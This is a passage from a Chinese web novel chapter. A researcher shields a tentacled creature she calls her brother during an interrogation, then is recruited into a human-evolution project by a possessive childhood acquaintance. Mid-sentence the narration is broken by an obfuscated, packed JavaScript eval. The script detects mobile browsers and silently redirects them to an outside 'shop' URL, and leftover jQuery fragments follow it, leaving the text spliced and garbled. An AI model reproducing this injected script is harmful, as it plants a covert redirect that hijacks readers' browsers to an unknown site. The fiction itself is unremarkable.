入手的触感冰冰凉凉的,摸上去十分顺滑,表面微微带有一点黏腻。
昆莉不动声色地往桌下瞥去一眼,隐约能看见一线模糊的影子在桌下阴影中摆动。
自从上次看见触腕能直接穿透舷窗后,昆莉就知道她哥的触腕还能无视空间,从任何地方蔓延出来。
不过她没想到他竟然会直接出现在她的审讯室里。
好刺激啊。
昆莉又瞥了眼对面墙上的监控器,稍稍坐正身体,手却始终放在下面,一根手指勾着哥哥的触腕轻轻地晃。
见昆莉一直没回答,对面的人立即不耐烦地曲起手指敲了敲桌子。
昆莉不以为然地抬起眼皮看着他,说了句:“显而易见,那里面只有异种。”
“我们当然知道那片海域里都是异种!但你要告诉我们,你看清那只特殊异种的样子了吗?它有什么区别于其它异种的特征?”
昆莉捏了捏桌下怪物滑溜溜的触腕,说:“忙着逃命,没怎么注意,要说特殊的其它特征……倒是有。”
对面两人对视一眼,坐直了身子。
昆莉说:“它长得比其它异种好看些。”
“……”
那人脸色变了又变,最后面色一沉,锐利如鹰的目光直勾勾盯着昆莉的眼睛,加重了语气,道:“最后一个问题。为什么船上所有人都死了,而你一个人和怪物周旋了这么久,身上竟然一点伤都没有。”
这是整个事件中最奇怪的一点。根据昆莉的身体检测报告来看,她的身上确实没有异种寄生,同时,也没有任何伤口,身体素质好得能上擂台打两拳。
这不正常,非常不正常,在那几天里,到底发生了什么?
两双眼睛齐齐落在她的身上,昆莉却又抓了条触腕,将它们打了个蝴蝶结,随即才平静地摇头,回答道:“我不知道。”
其中一人的胸牌上写着黄山,他被昆莉这幅敷衍懒散的态度彻底激怒,猛地起身,激动地脱口而出道:“昆莉!你不要以为有华德和你爸在背后撑腰,你就能在研究所为所欲为!你是个研究员,为研究所工作,提供异种情报是你的责任和义务,否则研究所要你有什么用!”
昆莉听出了他的声音,之前在科研船上和华德通讯时,貌似就是这个声音提议说不要派出救援船。
她把哥哥的触腕往桌下塞了塞,认真端详了一会儿眼前怒火中烧的中年男人,回道:“你这么有责任感,怎么不见你参与这次的出海行动?难道是因为怕死吗?”
“还有,自从我进入3区研究所以来,我爸每年都会往研究所投入九位数的研究资金,就算我只是在研究所里什么都不干,我觉得研究所要我,也至少比要你有用些。”
一番话下来,堵得对面两人哑口无言,脸色难看。
见状,昆莉调动脸部肌肉,做出一个笑眯眯的表情:“好了两位,你们要检查的已经检查过了,问话也问过了,事实证明我只是一个无辜的受害者和幸存者,如果你们还是怀疑我有问题,那就请拿出更直接的证据来。现在没什么事的话,我就走了。”
……
问话结束,昆莉刚走出问询室,立即有人迎上来,说华德要见她。
昆莉这人没什么特别讨厌的东西,华德算是例外,即便他力排众议也要派出救援船来找她,也不是什么值得让昆莉感谢并对他改观的事。
毕竟就算研究所真的放弃她,她的父亲也绝不会坐视不理。
坦白说,昆莉是不想去见华德的,但又实在好奇他口中的THEP是什么,纠结一会儿后还是跟着去了。
舱室内,华德姿态端正地坐在沙发上,腿上放着一个平板,里面传出昆莉在问询室内气定神闲的声音。
听到进门的声音,华德点了下屏幕,抬头看见昆莉,他冲她笑了笑:“你来了,莉。”
他放下平板从沙发上起来,走到立柜前拿出一瓶白兰地,倒了一杯递给坐在沙发上的昆莉,用温和的声音说:“出发前我去见了你的父母,他们表示很担心你,也很想你。”
昆莉眉头一动,接过酒抿了一口,没吭声。
他们两家算是世交,昆莉和华德自小就是认识的,但在昆莉的视角里,两人之间的相处并不愉快。不过她已经习惯了华德的厚脸皮,他会去见她父母,昆莉倒是并不意外。
她意外的只是华德说的最后那句话。毕竟母亲想她是有可能的,但要是说父亲想她,那只能是她这里有稀世的新物种。
噢,别说,现在还真有了。
华德看着她,灰绿色的眼珠里闪过一抹亮光,他唇角微扬,忽然说了句:“还有我。”
昆莉放下酒杯,疑惑地抬眼看他:“我的父母,为什么会想你?”
华德愣了一下,忍俊不禁地摇了摇头,“莉,你知道的……”
昆莉打断他,说:“我不知道。你还没告诉我,THEP是什么?”
华德耸了耸肩,不紧不慢地重新拿起平板,在上面戳戳点点了两下,递给她:“在那之前,你先看看这个。”
昆莉被他一来二去的神秘态度钓得好奇不已,接过平板按下了视频左下角的播放键。
视频是一个监控视角,环境为一个全透明的观察室,中央立着一个支架,昆莉认出上面捆着的是一只B级异种。
这只异种长着两个人的脑袋,脖子以下的身体像是两米长的大蜘蛛,足肢关节被折叠捆紧,几道锁链从硕大的腹部贯穿而过,将其死死缠在立起的支架上。
镜头的左下角能看见室外站着一名穿着白大褂的人,那人一边记录,一边对着异种按下手中的遥控器,瞬间,高压电流通过那些锁链和捆绑的束缚导向异种的全身,电得它仰头发出一声声凄厉的哀嚎,全身焦黑。
观察记录完后,那人就离开了,只剩下镜头始终对准观察室内的异种。时间倍速流逝,视频中的怪物始终保持着煤炭的原样,有点像炭烤蝎子。
又过了一会儿,昆莉扫了眼左下角的时间,终于发现了不对劲的地方,喃喃出声:“为什么这个怪物没有恢复?”
异种都具有自我修复的能力,或快或慢而已,按理说面对这种程度的伤,B级只需要四个小时左右就能恢复,但时间跳转了将近半天,直到屏幕左下角显示的时间又流过几个小时,它才开始慢慢地发生了一些变化。
焦黑的鳞甲如同皲裂的土地,裂开后露出底下白花花的皮肤,全身的足肢全部一寸寸地收回体内,挤出那些贯穿身体的锁链。
它在慢慢变小,变得更加纤细,直到彻底脱离锁链的束缚。
变化的过程似乎是痛苦的,怪物面目狰狞,看着又丑了几分,但同时,它似乎又是愉悦的,眼瞳中难掩狂热的兴奋。
昆莉紧盯着眼前的一幕,表情从所未有的凝重。
按照视频里的时间来看,异种蜕变的时间持续了将近三个小时,观察室中的怪物几乎完全变了个样子。
它只剩下了一个脑袋,如今躯体更接近正常人类,只是四肢比起常人要更加细长,皮肤薄而苍白,显得有些畸形。
它缓慢而僵硬地抬起头,视线直直地对上了镜头。然后,它在昆莉惊疑的目光中,张开遍布细密利齿的嘴巴,对着镜头一张一合。
昆莉放大声音,听到一声极其古怪的,俨然不像是人类声带能发出的音节。
又或者说,语言?
很快,镜头猛地一震,只剩下了满屏彩色的条纹。
“看出来了吗?”华德不知道什么时候坐到了她的身边,醇低的嗓音几乎是贴着她的耳畔响起。
昆莉打了个哆嗦,生理本能地起了一身鸡皮疙瘩。
她小时候不太喜欢与人亲近,偏偏华德每次到他们家做客时,都要像个阴魂不散的鬼一样黏着她,朝她各种献殷勤,不管她怎么骂都没用,脸皮已然厚到连炸弹都炸不穿。
更可怕的是,华德的父亲以为两人十分要好,半是玩笑半是认真地提出要给他们定个娃娃亲。
好在昆莉的母亲以一种玩笑的方式,委婉地驳回了华德父亲的建议,后面昆莉因为华德失踪,这件事更是再没提过。
面对华德的靠近,昆莉骂他几乎已经成为本能,她面无表情转过脸,正准备
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863510|212120||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开口,忽然看见华德的脑袋后面悬着一道浓稠的细长黑影,头部后缩像蛇一样弓起,仿佛下一秒就能蹿出去绞杀住男人的脖子。
“!”像是被毒蛇咬了一口,昆莉豁然起身,同时把华德往边上重重推开,“离我远点。”
男人过去习惯了被她这样对待,根本没怀疑刚刚是被救了一命,甚至脸上浮现出一抹淡淡的红晕。
昆莉用余光瞄了眼触腕的方向,它已经缩回了黑暗中,但仍可见一抹微弱的蓝色荧光,像是故意彰显自身的存在。
不动声色地转回脸,她将平板丢还给华德:“你给我看的这是什么?”
华德站直身体,理了理西装被压出来的褶皱,很快恢复成原来装模作样的优雅姿态:“两个月前,这只异种在1区出现,吃了将近一百多人。异种处理员将其抓捕后,送到了联邦总部的异种研究所,后来,就发生了视频里的内容。”
“显而易见,这只异种发生了进化,而且它发出了类似某种语言的声音。莉,你知道这意味着什么吗?”
昆莉一点也不配合他,神色淡淡地抱着双臂,说:“我不知道。所以这和THEP有什么关系?”
灰绿色的眼睛慢慢眯起,华德注视着她轻声说道,“THEP的全称是,TheHumanEvolutionProject。”
昆莉一怔,眉头有兴趣地微微挑起:“全人类进化计划……你们想让人类变得和异种一样?”
“当然不,异种终究只是低等生物,即便它们拥有沟通和特殊的能力,却永远不可能拥有人类这样的智慧,所以追根结底,它们和没脑子的野兽没什么区别。”
透过舷窗,华德望向远处的海平线,暮色四合,远处的海只剩下浓黑的色块,如同一个深渊。
他傲慢一笑,“但是它们都能进化,人类为什么不行呢?莉,试想一下,假设人类在保持理智的同时还能拥有高级异种的超凡能力,这难道不是一件值得全人类庆祝的事吗?”
昆莉扫一眼暗中的触腕,心想:不用想象,我已经见到了。
华德说得兴起,眼神狂热地注视着昆莉,劝说道:“还记得吗?莉,我说过,你是THEP中的重要一员,这当然不仅仅是应付那些人的说辞。西西里亚的那只特殊异种对我们的研究来说尤为重要,而你作为唯一和它有过接触的人类,对我们来说更是独一无二的存在。所以,你会加入的,对吧?”
昆莉故作认真思考了两秒,点了下头:“可以。”
意料之中,华德微微一笑,狗皮膏药一样又贴了过来,一只手搭在昆莉的肩上,从身后缓缓凑近她,在她耳边低喃道:“看吧,莉,我就知道你会答应,因为我们从小一起长大,我们是一类人,我很了解……”
昆莉正在思考要怎么扭断华德的手,忽然听到他顿了一下,紧接着,语气莫名变得兴奋激动起来。
“莉,你终于摘掉那个项链了?你已经彻底放下那个人了?”
他口中的那个人,指的当然是洛斯。
华德这辈子最后悔的事,就是那天没能好好跟住昆莉,以至于她失踪,以至于她后来在外面将别人认作哥哥。
一想到洛斯,华德身为天之骄子的骄傲和从容,全部化作了满心满眼的妒恨和扭曲,尤其是想到那个臭虫的所作所为,他更是恨红了眼睛,将牙齿咬得咯咯作响。
那个恶心阴暗的臭虫凭什么能被昆莉叫哥哥!他们居然还两个人一起度过了一段二人时光!
不过,转念一想那个臭虫已经死了,并且再也不会回来影响他和莉的感情,华德便又放松了脸上紧绷的肌肉,表情重新变得和缓愉悦。
那个家伙死了,莉的注意力回到他的身上只是迟早的事。
看吧,她甚至已经摘下了那条肮脏的项链,这说明,她已经彻底放下了。
然而,但凡华德现在回个头,就会看到无数根黑色的肉质触腕从沙发的阴影下探出,像一团纠缠在一起的海蛇,悬停在距离他不过半指距离的地方。
这个怪物既是他口中厌恶的臭虫,也是他如今最想要得到的研究异种。